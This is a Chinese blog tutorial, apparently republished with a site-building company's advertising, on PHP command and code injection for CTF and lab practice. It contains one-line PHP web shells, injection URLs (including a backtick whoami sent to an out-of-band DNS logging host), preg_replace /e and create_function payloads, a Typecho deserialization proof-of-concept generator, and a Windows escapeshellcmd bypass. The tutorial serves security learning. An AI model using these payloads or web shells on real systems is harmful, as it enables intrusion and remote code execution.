这期内容当中小编将会给大家带来有关怎么进行 PHP代码命令注入，文章内容丰富且以专业的角度为大家分析和叙述，阅读完这篇文章希望大家可以有所收获。
汤原网站制作公司哪家好，找创新互联公司！从网页设计、网站建设、微信开发、APP开发、响应式网站设计等网站项目制作，到程序开发，运营维护。创新互联公司从2013年创立到现在10年的时间，我们拥有了丰富的建站经验和运维经验，来保证我们的工作的顺利进行。专注于网站建设就选创新互联公司。
今天在合天实验室看到这样一个实验：
题目对萌新还是比较友好的，属于启蒙项，尚未接触过该类问题的同学可以尝试一下，领略一下命令注入的魅力。
而我个人做罢之余，心想不如总结一下最近遇到的命令或是代码注入的情况，于是便有了这篇文章~
eval(),，assert(), system()，preg_replace(), create_function, call_user_func, call_user_func_array，array_map()，反引号，ob_start()，exec()，shell_exec()，passthru()，escapeshellcmd()，popen()，proc_open()，pcntl_exec()
二、 背景
这里不再多提，相信大家已经对这几个函数轻车熟路了，常见小马均在使用
@eval($_GET["sky"]);
?>
@assert($_GET["sky"]);
?>
@system($_GET["sky"]);
?>
这里直接就用合天实验室的题目说明
看到题目给出的源码:
system("ping -n 2 ".$_GET['ip']);
?>
正常访问
http://localhost/web/hetian.php?ip=127.0.0.1
（23333编码问题请忽略）
是一个常规的ping命令
我们进行命令注入
http://localhost/web/hetian.php?ip=|dir
得到回显
我们再换个套路，把这段代码放在服务器上(linux)
尝试：
http://vps_ip/testsky/index.php?ip=`whoami`.2bub8m.ceye.io
可以收到回显
并且这类题目在CTF中可以说屡见不鲜，值得好好掌握
三、 preg_replace()
查阅php手册
mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
函数作用：搜索subject中匹配pattern的部分， 以replacement进行替换。
其中，在错误／异常中提及：
PHP 5.5.0 起， 传入 "\e" 修饰符的时候，会产生一个 E_DEPRECATED 错误； PHP 7.0.0 起，会产生 E_WARNING 错误，同时 "\e" 也无法起效。
所以正是这个修饰符，让我们可以进行命令注入
但需要知道的是：
7.0.0 不再支持 /e修饰符。 请用 preg_replace_callback() 代替。
5.5.0 /e 修饰符已经被弃用了。使用 preg_replace_callback() 代替。参见文档中 PREG_REPLACE_EVAL 关于安全风险的更多信息。
在实践的时候需要看清php版本,在7.0的版本以后就不再适用！
error_reporting(0);
$pattern = $_GET[pat];
$replacement = $_GET[rep];
$subject = $_GET[sub];
if (isset($pattern) && isset($replacement) && isset($subject))
{
preg_replace($pattern, $replacement, $subject);
}
else
{
die();
}
调用方法：
preg_replace("/test/e",phpinfo(),"jutst test");
此时phpinfo()将会被执行
因为使用/e修饰符，preg_replace会将 replacement 参数当作 PHP代码执行
所以最后的payload:
?pat=/test/e&rep=phpinfo()&sub=jutst test
?pat=/test/e&rep=var_dump(`dir`)&sub=jutst test
可以看到命令成功注入！
四、 create_function()
查阅php手册
string create_function ( string $args , string $code )
函数作用：从创建一个匿名函数传递的参数，并返回一个唯一的名称
看一个官方样例
$newfunc = create_function('$a,$b', 'return "ln($a) + ln($b) = " . log($a * $b);');
echo "New anonymous function: $newfunc\n";
echo $newfunc(2, M_E) . "\n";
// outputs
// New anonymous function: lambda_1
// ln(2) + ln(2.718281828459) = 1.6931471805599
?>
我们不难得到create_function()的原型
function test($a,$b)
{
return "ln($a) + ln($b) = " . log($a * $b);
}
那么我们开始实战
此问题曾出现在WordPress <= 4.6.1 使用语言文件任意代码执行
详细分析请戳：http://blog.knownsec.com/2016/10/wordpress-4-6-1-language-exploit/
下面给出关键代码
function make_plural_form_function($nplurals, $expression) {
$expression = str_replace('n', '$n', $expression);
$func_body = "
\$index = (int)($expression);
return (\$index < $nplurals)? \$index : $nplurals - 1;";
return create_function('$n', $func_body);
}
可以清楚看见，关键利用点就是在create_function()
给出《web安全深度剖析》中的一个实例：
error_reporting(0);
$sort_by = $_GET['sort_by'];
$sorter = 'strnatcasecmp';
$databases=array('1234','4321');
$sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]);';
usort($databases, create_function('$a, $b', $sort_function));
?>
首先构造出函数原型
function test($a,$b)
{
return 1 * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]);
}
根据这个，我们可以构造payload:
?sort_by="]);}phpinfo();/*
传入后得到：
return 1 * strnatcasecmp($a[""]);}phpinfo();/*"], $b[""]);}phpinfo();/*"]);
所以此时的函数原型：
function test($a,$b)
{
return 1 * strnatcasecmp($a[""]);}phpinfo();/*"], $b[""]);}phpinfo();/*"]);
}
很显然，经过`/*`注释符
我们剩下的只有
function test($a,$b)
{
return 1 * strnatcasecmp($a[""]);
}
phpinfo();
成功的进行了代码注入！
五、 call_user_func()/call_user_func_array()/array_map()
同样还是查阅官方手册
mixed call_user_func ( callable $callback [, mixed $parameter [, mixed $... ]] )
函数作用：第一个参数 callback 是被调用的回调函数，其余参数是回调函数的参数。
mixed call_user_func_array ( callable $callback , array $param_arr )
函数作用：把第一个参数作为回调函数（callback）调用，把参数数组作（param_arr）为回调函数的的参数传入。
array array_map ( callable $callback , array $array1 [, array $... ] )
函数作用：返回数组，是为 array1 每个元素应用 callback函数之后的数组。 callback 函数形参的数量和传给 array_map() 数组数量，两者必须一样。
由于三者类似，这里介绍call_user_func()
我们举个例子
$filter= 'assert';
$value = 'phpinfo()';
call_user_func($filter, $value);
?>
可以看到成功执行了命令
前段时间非常火的Typecho反序列化漏洞中最后就用到了这个函数进行代码注入
有兴趣的可以在freebuf这篇文章查看详情：
http://www.freebuf.com/column/161798.html
这里截选出最终的利用点
private function _applyFilter($value)
{
if ($this->_filter) {
foreach ($this->_filter as $filter) {
$value = is_array($value) ? array_map($filter, $value) :
call_user_func($filter, $value);
}
$this->_filter = array();
}
return $value;
}
而当时的原因正是我们可控$filter和$value两个参数
附上payload
class Typecho_Feed{
private $_type='ATOM 1.0';
private $_items;
public function __construct(){
$this->_items = array(
'0'=>array(
'author'=> new Typecho_Request())
);
}
}
class Typecho_Request{
private $_params = array('screenName'=>'phpinfo()');
private $_filter = array('assert');
}
$poc = array(
'adapter'=>new Typecho_Feed(),
'prefix'=>'typecho');
echo base64_encode(serialize($poc));
六、 反引号
反引用的本质就是在操作系统执行该命令。此时可以造成命令注入等各种危害
root@ubuntu-512mb-sfo2-01:/var/www/html/test# echo ls
ls
root@ubuntu-512mb-sfo2-01:/var/www/html/test# `echo ls`
test tets
root@ubuntu-512mb-sfo2-01:/var/www/html/test# ls
test tets
可以明显的看出对比，再看php
php > $test = `ls`;
php > echo $test;
test
tets
所以反引号在命令注入实战中还是有不小的杀伤力
七、 ob_start()
bool ob_start ([ callback $output_callback [, int $chunk_size [, bool $erase ]]] )
函数描述：此函数将打开输出缓冲。当输出缓冲激活后，脚本将不会输出内容（除http标头外），相反需要输出的内容被存储在内部缓冲区中。
内部缓冲区的内容可以用 ob_get_contents() 函数复制到一个字符串变量中。 想要输出存储在内部缓冲区中的内容，可以使用 ob_end_flush() 函数。另外， 使用 ob_end_clean() 函数会静默丢弃掉缓冲区的内容。
php > $sky = 'system';
php > ob_start($sky);
php > echo 'ls -al';
php > ob_end_flush();
-rw-r--r-- 1 root root 0 Mar 12 06:46 tets
可以看到成功执行命令
这里注意，如果我这样使用
php > echo 'ls -al';
ls -al
是没有任何作用的
因为这里的$sky被作为输出的回调函数
而我们输入的`ls -al`在缓冲区
经过ob_end_flush()输出缓冲区后，可以得到
system('ls -al')
这样的操作，所以成功执行了命令
八、 exec()/shell_exec()/escapeshellcmd()/passthru()
string exec ( string $command [, array &$output [, int &$return_var ]] )
string shell_exec ( string $cmd )
string escapeshellcmd ( string $command )
void passthru ( string $command [, int &$return_var ] )
这几个就不细说的，读名字都知道是执行shell命令,如果函数执行未过滤完善的可控参数，后果非常危险
其中passthru()同 exec() 函数类似,可以将结果直接传送到浏览器。
然后值得一提的是escapeshellcmd()
escapeshellcmd() 对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。 此函数保证用户输入的数据在传送到 exec() 或 system() 函数，或者 执行操作符 之前进行转义。
这里虽然存在安全转义，但是我们注意到官方手册的一句话
Following characters are preceded by a backslash: &#;`|*?~<>^()[]{}$\, \x0A and \xFF. ' and " are escaped only if they are not paired. In Windows, all these characters plus % and ! are replaced by a space instead.
就过滤参数而言，这里有一个win下绕过的小tip，也是之前l3m0n师傅提及过的：
测试脚本:
$test = 'dir '.$_GET['sky'];
$escaped_test = escapeshellcmd($test);
var_dump($escaped_test);
file_put_contents('out.bat',$escaped_test);
system('out.bat');
?>
我们直接访问http://localhost/web/123.php?sky=../ | whoami
得到的是:
H:\wamp64\www\web\123.php:4:string 'dir ../ ^| whoami' (length=17)
H:\wamp64\www\web>dir ../ | whoami
但是执行.bat文件的时候，利用%1a，可以绕过过滤执行命令。
可以用
../ %1a whoami
但是需要注意的是版本问题
5.6.0 The default value for the encoding parameter was changed to be the value of the default_charset configuration option.
5.4.43, 5.5.27, 5.6.11 感叹号会被空格所替换。
5.6版本后可能不再适用，需要注意
九、 popen()/proc_open()/pcntl_exec()
resource popen ( string $command , string $mode )
resource proc_open ( string $cmd , array $descriptorspec , array &$pipes [, string $cwd [, array $env [, array $other_options ]]] )
void pcntl_exec ( string $path [, array $args [, array $envs ]] )
其中popen()和proc_open()是不会直接返回执行结果的，而是返回一个文件指针，但是命令是已经执行了
由于没有遇到类似的题目就不多言了:)
命令/代码注入作为一种危害性极大的漏洞，应该引起我们的重视。这里也只是总结了一些常见的命令/代码注入问题，至于潜藏在代码深处的漏洞，还要靠大家自己多多挖掘啦。
上述就是小编为大家分享的怎么进行 PHP代码命令注入了，如果刚好有类似的疑惑，不妨参照上述分析进行理解。如果想知道更多相关知识，欢迎关注创新互联行业资讯频道。
